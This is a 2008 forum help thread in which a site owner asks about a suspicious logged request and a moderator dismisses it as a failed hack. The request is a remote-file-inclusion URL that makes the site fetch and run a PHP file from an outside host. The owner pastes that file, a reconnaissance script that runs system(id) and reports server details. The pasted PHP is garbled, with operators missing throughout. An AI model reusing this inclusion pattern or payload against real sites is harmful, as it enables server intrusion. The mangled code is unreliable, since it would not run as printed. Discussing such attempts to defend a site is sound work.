TP-Docs
HTML5 Icon HTML5 Icon HTML5 Icon
TP on Social Media

Recent

Welcome to TinyPortal. Please login or sign up.

Members
  • Total Members: 3,966
  • Latest: safir45
Stats
  • Total Posts: 195,993
  • Total Topics: 21,324
  • Online today: 388
  • Online ever: 8,223 (February 19, 2025, 04:35:35 AM)
Users Online
  • Users: 0
  • Guests: 342
  • Total: 342

[HELP] strange error, attack?

Started by raid, November 10, 2008, 03:04:14 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

raid

there is a guest that is doing this error:
http://www.mysite.ext/index.php?action=tpmod;dl%20.../index.php?ac=http://www.phdcursos.com.br/http/idd.txt??

and I downloaded the TXT file and this is the content:
<?php
function ConvertBytes($number) {
$len strlen($number);
if(
$len 4) {
return 
sprintf("%d b"$number); }
if(
$len >= && $len <=6) {
return 
sprintf("%0.2f Kb"$number/1024); }
if(
$len >= && $len <=9) {
return 
sprintf("%0.2f Mb"$number/1024/1024); }
return 
sprintf("%0.2f Gb"$number/1024/1024/1024); }                          

echo 
"Osirys<br>";
$un = @php_uname();
$id1 system(id);
$pwd1 = @getcwd();
$free1diskfreespace($pwd1);
$free ConvertBytes(diskfreespace($pwd1));
if (!
$free) {$free 0;}
$all1disk_total_space($pwd1);
$all ConvertBytes(disk_total_space($pwd1));
if (!
$all) {$all 0;}
$used ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo 
"0sirys was here ..<br>";
echo 
"uname -a: $un<br>";
echo 
"os: $os<br>";
echo 
"id: $id1<br>";
echo 
"free: $free<br>";
echo 
"used: $used<br>";
echo 
"total: $all<br>";
exit;


what is it?
SMF 2.0 + TP RC2

G6Cad

A lame attempts of a hack, tyes, but it will not work.
Ban the ipnumber and be happy

This website is proudly hosted on Crocweb Cloud Website Hosting.